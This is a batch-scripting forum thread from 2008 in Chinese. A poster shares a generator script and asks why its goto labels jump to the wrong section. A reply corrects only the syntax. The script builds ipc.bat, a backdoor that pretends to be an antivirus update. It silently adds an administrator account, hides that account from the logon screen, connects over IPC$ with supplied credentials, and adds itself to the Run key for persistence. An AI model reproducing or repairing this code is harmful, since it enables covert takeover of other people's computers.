![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-09 09:11 |
共 47,811 主题排行 / 349,895 发帖 / 今日 0 篇 / 48,253 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 灵异的批处理! 吓.... |
| 可打印版本 835 / 1 |
| 第1楼 setarphim | 发表于 2008-08-06 15:26 |
| 新手上路 发帖 5 积分 18 | |
|
灵异的批处理! 吓.... 论坛终于恢复了,真高兴,今天,我写了一个批处理,有一个很奇怪的现象:
============================================== E项.bat ============================================== @echo off :son echo 所有的设置不能为空! echo. echo 连接端的名字是:ipc.bat echo. set /p szd=连接端生成在: set /p yip=你电脑的IP: set /p tdl=被连接者登陆本机的帐户名: set /p tdma=他帐户的密码: set /p ndzh=在被连接者新建的用户名: set /p ndma=你远程帐户的密码: echo 配置成功! pause. cls echo 固定配置: echo 对方登陆IP:%yip% 对方登陆帐户:%tdl% 对方帐户密码:%tdma% echo 你在他的电脑上建立的帐户:%ndzh% 帐户密码:%ndma% 帐户属性:管理员 echo ======================= echo 以下是连接端的添加项目. echo ======================= echo . echo z.你的控制端会自动启动.(但开机时弹出黑框) echo q.你的远程帐户是隐藏的. echo w.两者兼备. set /p ndxz= : if %ndxz% ==z goto :z if %ndxz% ==q goto :q if %ndxz% ==w goto :w ::连接项目的选择项目 ::啊!手麻了.... :z echo 输入连接端你想放在对方的哪里? 如E:\hack\ipc.bat 就输入:E:\hack\ipc.bat echo 一但确定了,你就必须放在那里,否则达不到自动启动的功能. set /p dif=地方路径: set 123=%dif% echo @echo off > %szd%ipc.bat echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat echo net user %ndzh% %ndma% /add >> %szd%ipc.bat echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat echo echo pause >> %szd%ipc.bat echo echo 杀毒软件正在更新... >> %szd%ipc.bat echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat echo echo 正在修改注册表...... >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat echo echo 更新完毕. >> %szd%ipc.bat echo pause >> %szd%ipc.bat echo exit >> %szd%ipc.bat echo 生成成功. :q echo @echo off > %szd%ipc.bat echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat echo net user %ndzh% %ndma% /add >> %szd%ipc.bat echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat echo echo pause >> %szd%ipc.bat echo echo 杀毒软件正在更新... >> %szd%ipc.bat echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat echo echo 正在修改注册表...... >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat echo echo 更新完毕. >> %szd%ipc.bat echo pause >> %szd%ipc.bat echo exit >> %szd%ipc.bat echo 生成成功. :w echo @echo off > %szd%ipc.bat echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat echo net user %ndzh% %ndma% /add >> %szd%ipc.bat echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat echo echo pause >> %szd%ipc.bat echo echo 杀毒软件正在更新... >> %szd%ipc.bat echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat echo echo 正在修改注册表...... >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat echo echo 更新完毕. >> %szd%ipc.bat echo pause >> %szd%ipc.bat echo exit >> %szd%ipc.bat echo 生成成功! 本应按 z 跳到 z 的项下,按 w 跳到 w 的项下,对吧! 可当我按 z 和 w 都会跳到 q 项下!!!! 帮帮我啊!!! |
|
| 第2楼 Climbing | 发表于 2008-08-07 18:40 |
| 铂金会员 发帖 2,753 积分 6,962 来自 河北保定 | |
|
goto后面应该直接跟标签名,去掉那个冒号。为了避免不必要的重复,可以给标准加上适当的前缀。
例如:_z _ZZZ if ... goto _zzz ... :_zzz ... |
|
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |